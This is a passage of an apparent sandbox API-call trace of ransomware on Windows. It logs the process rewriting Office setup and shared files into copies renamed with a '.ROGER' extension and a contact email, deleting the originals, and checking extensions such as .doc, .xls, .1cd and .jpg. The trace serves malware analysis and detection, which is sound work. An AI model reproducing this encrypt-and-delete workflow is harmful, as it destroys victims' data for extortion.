Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0042.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0042.041] lstrlenW (lpString=".doc") returned 4 [0042.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.041] lstrlenW (lpString=".docx") returned 5 [0042.041] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0042.041] lstrlenW (lpString=".pdf") returned 4 [0042.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.042] lstrlenW (lpString=".xls") returned 4 [0042.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.042] lstrlenW (lpString=".xlsx") returned 5 [0042.042] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0042.042] lstrlenW (lpString=".ppt") returned 4 [0042.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0042.042] lstrlenW (lpString=".zip") returned 4 [0042.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.042] lstrlenW (lpString=".rar") returned 4 [0042.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.042] lstrlenW (lpString=".bz2") returned 4 [0042.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.042] lstrlenW (lpString=".7z") returned 3 [0042.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0042.042] lstrlenW (lpString=".dbf") returned 4 [0042.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0042.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0042.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0042.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0042.780] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=819) returned 1 [0042.780] CloseHandle (hObject=0x39c) returned 1 [0042.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0042.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0042.780] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.780] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0042.781] GetLastError () returned 0x0 [0042.781] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x333, lpOverlapped=0x0) returned 1 [0042.782] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x340, lpOverlapped=0x0) returned 1 [0042.783] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.783] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0042.783] SetEndOfFile (hFile=0x3a0) returned 1 [0042.783] CloseHandle (hObject=0x3a0) returned 1 [0042.784] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.784] SetEndOfFile (hFile=0x39c) returned 1 [0042.785] CloseHandle (hObject=0x39c) returned 1 [0042.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0042.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.785] lstrlenW (lpString=".doc") returned 4 [0042.785] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.785] lstrlenW (lpString=".docx") returned 5 [0042.785] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0042.786] lstrlenW (lpString=".pdf") returned 4 [0042.786] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString=".xls") returned 4 [0042.786] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString=".xlsx") returned 5 [0042.786] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0042.786] lstrlenW (lpString=".ppt") returned 4 [0042.786] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString=".zip") returned 4 [0042.786] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.786] lstrlenW (lpString=".rar") returned 4 [0042.786] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString=".bz2") returned 4 [0042.786] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString=".7z") returned 3 [0042.786] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString=".dbf") returned 4 [0042.786] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString=".1cd") returned 4 [0042.786] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString=".jpg") returned 4 [0042.786] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.786] lstrlenW (lpString=".doc") returned 4 [0042.786] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.786] lstrlenW (lpString=".docx") returned 5 [0042.787] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0042.787] lstrlenW (lpString=".pdf") returned 4 [0042.787] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString=".xls") returned 4 [0042.787] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString=".xlsx") returned 5 [0042.787] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0042.787] lstrlenW (lpString=".ppt") returned 4 [0042.787] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.787] lstrlenW (lpString=".zip") returned 4 [0042.787] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.787] lstrlenW (lpString=".rar") returned 4 [0042.787] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString=".bz2") returned 4 [0042.787] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString=".7z") returned 3 [0042.787] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.787] lstrlenW (lpString=".dbf") returned 4 [0042.787] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.787] lstrlenW (lpString=".1cd") returned 4 [0042.787] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0042.787] lstrlenW (lpString=".jpg") returned 4 [0042.787] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.787] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.788] lstrlenW (lpString="SETUP.XML") returned 9 [0042.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0042.795] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2296) returned 1 [0042.795] CloseHandle (hObject=0x3a8) returned 1 [0042.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0042.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0042.795] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.796] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0042.863] GetLastError () returned 0x0 [0042.863] ReadFile (in: hFile=0x3a8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0043.120] WriteFile (in: hFile=0x3b4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x900, lpOverlapped=0x0) returned 1 [0043.716] ReadFile (in: hFile=0x3a8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.716] WriteFile (in: hFile=0x3b4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.716] SetEndOfFile (hFile=0x3b4) returned 1 [0043.717] CloseHandle (hObject=0x3b4) returned 1 [0043.720] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.720] SetEndOfFile (hFile=0x3a8) returned 1 [0043.721] CloseHandle (hObject=0x3a8) returned 1 [0043.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0043.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.721] lstrlenW (lpString=".doc") returned 4 [0043.721] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString=".docx") returned 5 [0043.722] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.722] lstrlenW (lpString=".pdf") returned 4 [0043.722] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString=".xls") returned 4 [0043.722] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString=".xlsx") returned 5 [0043.722] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.722] lstrlenW (lpString=".ppt") returned 4 [0043.722] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.722] lstrlenW (lpString=".zip") returned 4 [0043.722] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.722] lstrlenW (lpString=".rar") returned 4 [0043.722] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString=".bz2") returned 4 [0043.722] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString=".7z") returned 3 [0043.722] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.722] lstrlenW (lpString=".dbf") returned 4 [0043.722] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.722] lstrlenW (lpString=".1cd") returned 4 [0043.722] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.722] lstrlenW (lpString=".jpg") returned 4 [0043.722] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.723] lstrlenW (lpString=".doc") returned 4 [0043.723] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString=".docx") returned 5 [0043.723] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.723] lstrlenW (lpString=".pdf") returned 4 [0043.723] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString=".xls") returned 4 [0043.723] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString=".xlsx") returned 5 [0043.723] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.723] lstrlenW (lpString=".ppt") returned 4 [0043.723] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.723] lstrlenW (lpString=".zip") returned 4 [0043.723] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.723] lstrlenW (lpString=".rar") returned 4 [0043.723] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString=".bz2") returned 4 [0043.723] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString=".7z") returned 3 [0043.723] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.723] lstrlenW (lpString=".dbf") returned 4 [0043.723] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.723] lstrlenW (lpString=".1cd") returned 4 [0043.723] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0043.723] lstrlenW (lpString=".jpg") returned 4 [0043.723] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.724] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0043.724] lstrlenW (lpString="SETUP.CHM") returned 9 [0043.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.148] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=67190) returned 1 [0044.148] CloseHandle (hObject=0x370) returned 1 [0044.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0044.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.148] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.148] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.149] GetLastError () returned 0x0 [0044.149] ReadFile (in: hFile=0x370, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x10676, lpOverlapped=0x0) returned 1 [0044.296] WriteFile (in: hFile=0x350, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0044.298] ReadFile (in: hFile=0x370, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.298] WriteFile (in: hFile=0x350, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.298] SetEndOfFile (hFile=0x350) returned 1 [0044.299] CloseHandle (hObject=0x350) returned 1 [0044.300] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.300] SetEndOfFile (hFile=0x370) returned 1 [0044.301] CloseHandle (hObject=0x370) returned 1 [0044.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.302] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0044.302] lstrlenW 